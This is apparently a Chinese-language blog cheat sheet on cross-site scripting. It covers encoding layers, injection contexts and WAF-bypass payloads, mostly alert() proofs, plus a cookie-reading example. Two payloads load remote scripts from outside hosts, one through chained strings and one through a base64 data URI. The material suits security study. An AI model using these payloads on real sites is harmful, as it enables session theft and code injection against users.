xss

Dec 30, 2018 00:00 · 3195 words · 7 minute read xss

0x01 编码知识

HTML编码

实体编码

< : &lt;或者&#60;
> : &gt; 或者 &#62;

进制编码

&#xH;(十六进制格式)、&#D;(十进制格式),最后的分号可以省略

javascript编码

unicode编码: \u006c(\u+四位十六进制数字)
十六进制: \x6c
八进制: \154

css编码

用一个反斜线(\)后面跟1~6位的十六进制数字,例如e可以编码为“\65”或“65”或“00065”
css的属性名和属性值之间的冒号把编码包住,否则不解析

编码与解码顺序

解码时先解码最外层,编码时先编码最内层

如<td onclick="openUrl(add.do?userName='{$value}');">11</tdjiaob>,
首先value出现在url中,而url在js中,而js又是html一部分,所以
解码顺序为:html解码->js解码->url解码
编码顺序为:url编码->js编码->html编码

参考资料

0x02 xss输出位置

example url:http://www.foo.com/xss.php?id=1

html标签之间

普通场景

<div id="body">[输出]</div>
payload:<script>alert(1)</script>

特殊场景

<tietle></tietle>
<textarea></textarea>
<xmp></xmp>
<iframe></iframe>
<noscript></noscript>
<noframes></noframes>
<plaintext></plaintext>
直接将payload插入是不会解析,<title><script>alert(1)</script></title>
需要更改payload</title><script>alert(1)</sscript>

html标签之内

普通场景

<input type="text" value="[输出]"/>
payload1:"onmouseover=alert(1) x=",通过闭合属性,使用on事件触发脚本
payload2:"><script>alert(1)</script>",闭合标签又闭合属性,直接执行脚本

其他输出场景

- 输出在src/href/action等属性内,如<a href="[输出]">click me</a>
- 输出在on*事件内,如<a href="#" onclick="[输出]">click me</a>
- 输出在style属性内,如<a href="#" style="[输出]">click me</a>

1.输出在src/href/action/xlink:href/autofocus/content/data 等属性,使用伪协议绕过

javascript:<a href="javascript:alert(2)//">test</a>
data:<a href=data:text/html;base64,PHNjcmlwdD5hbGVydCgzKTwvc2NyaXB0Pg==>test</a>(Chrome被拦截,Firefox可以)
urlencode 版本: <a href=data:text/html;%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%2829%29%3C%2F%73%63%72%69%70%74%3E>(测试未通过)

不使用 href 的另外一种组合来执行 js: <svg><a xlink:href="javascript:alert(14)"><rect width="1000" height="1000" fill="white"/></a></svg>(均可) 或者:
  <math><a xlink:href=javascript:alert(1)>1</a></math>(Chrome不可,Firefox可以)

成为javascript的值

场景

<script>a="[输出]";</script>
payload1:</script><script>alert(1)</script>
payload2:";alert(1)//
如果//(javascript注释符)被过滤,可以用逻辑与算术运算符来代替
payload3:";alert(1)-

0x03 一些过waf技巧

  • `'`";><aaa bbb=ccc>ddd<aaa/> xss waf探针

  • 单次过滤规则绕过:有些规则仅进行一次过滤替换,可以通过双重复写绕过<scr<script>ipt>

  • 大小写绕过:<sCript>

  • alert被过滤,可以尝试prompt和confirm

  • 没有引号和分号:<IMG SRC=javascript:alert('XSS')>

  • 空格被过滤:<img/src=""onerror=alert(2)> <svg/onload=alert(2)></svg>

  • 反引号妙用:在ie下使用

  • 长度限制时: <q/oncut=alert(1)>//在限制长度的地方很有效

  • 单引号及双引号被过滤情况: <script>alert(/jdq/)</script> //用双引号会把引号内的内容单独作为内容 用斜杠,则会连斜杠一起回显

  • javascript伪协议

<a href="javascript:alert(/test/)">xss</a>
<iframe src=javascript:alert('xss');height=0 width=0 /><iframe>利用iframe框架标签
  • 畸形payload:<IMG """><SCRIPT>alert("XSS")</SCRIPT>">

  • /的妙用:<script>alert(/3/)</script>

  • 括号被过滤,可以使用throw来抛出数据

<a onmouseover="javascript:window.onerror=alert;throw 1">2</a>

<img src=x onerror="javascript:window.onerror=alert;throw 1">

以上两个测试向量在 Chrome 和 IE 上会出现一个 “uncaught” 错误,可以用下面的向量代替(下面向量在FireFox上测试失败)

<body/onload=javascript:window.onerror=eval;throw'=alert\x281\x29';>
  • 当=();:被过滤时:<svg><script>alert&#40/1/&#41</script>opera 中可以不闭合 <svg><script>alert&#40 1&#41 // Opera可查

  • 过滤某些关键字(如:javascript) 可以在属性中的引号内容中使用空字符、空格、TAB换行、注释、特殊的函数,将代码行隔开。比如在使用<iframe src="javascript:alert(1253)" height=0 width=0 /><iframe>时,可以用回车、Tab键将src中的内容隔开,回车的url编码为%0a,%0b; 拼凑法:① 双写绕过;② 使用js定义变量z=scri, z+pt=script; ③ 两处输出点<scri<!-- 第二处-->pt>;

  • 无法使用href:

在chrome下,其回补全缺失的引号。因此,也可以这样写:
<a onmouseover=alert(document.cookie)>xxs link</a>

解决限制字符(要求同页面)

<script>z=’document.’</script> <script>z=z+’write(“‘</script> <script>z=z+’<script’</script> <script>z=z+’ src=ht’</script> <script>z=z+’tp://ww’</script>
<script>z=z+’w.shell’</script> <script>z=z+’.net/1.’</script> <script>z=z+’js></sc’</script>
<script>z=z+’ript>”)’</script> <script>eval_r(z)</script>
  • 编码:

JS函数(如eval,settimeout)还有就是href= action= formaction= location= on*= name= background= poster= src= code=这些地方,可以配合编码。此外,data属性可以base64编码。

  1. js16进制 <script>eval(“js+16进制加密”)</script> <script>eval("\x61\x6c\x65\x72\x74\x28\x22\x78\x73\x73\x22\x29")</script> 编码要执行的语句↓ Alert(“xss”)
  2. js unicode
<script>eval("unicode加密")</script> //js unicode加密 解决alert()被过滤
<script>eval("\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029")</script>
String.fromCharCode函数(不需要任何引号,必须函数内)

<script>eval(String.fromCharCode编码内容))</script> <script>eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,13))</script>
  1. jsfuck版本 <script>alert((+[][+[]]+[])[++[[]][+[]]]+([![]]+[])[++[++[[]][+[]]][+[]]]+([!![]]+[])[++[++[++[[]][+[]]][+[]]][+[]]]+([!![]]+[])[++[[]][+[]]]+([!![]]+[])[+[]])</script>
  2. HTML编码:

    <img src='1' onerror='aler&#x0074;(1)'> base64编码(仅data支持)

     <object data="data:text/html;base64,PHNjcmlwdCBzcmM9aHR0cDovL3QuY24vUnE5bjZ6dT48L3NjcmlwdD4="></object>
     格式:
     Data:<mime type>,<encoded data>
     Data //协议
     <mime type> //数据类型
     charset=<charset>  //指定编码
     [;base64] //被指定的编码
     <encoded data> //定义data协议的编码
     特点:不支持IE
    

    0x04 xss备忘录

    http://momomoxiaoxi.com/2017/10/10/XSS/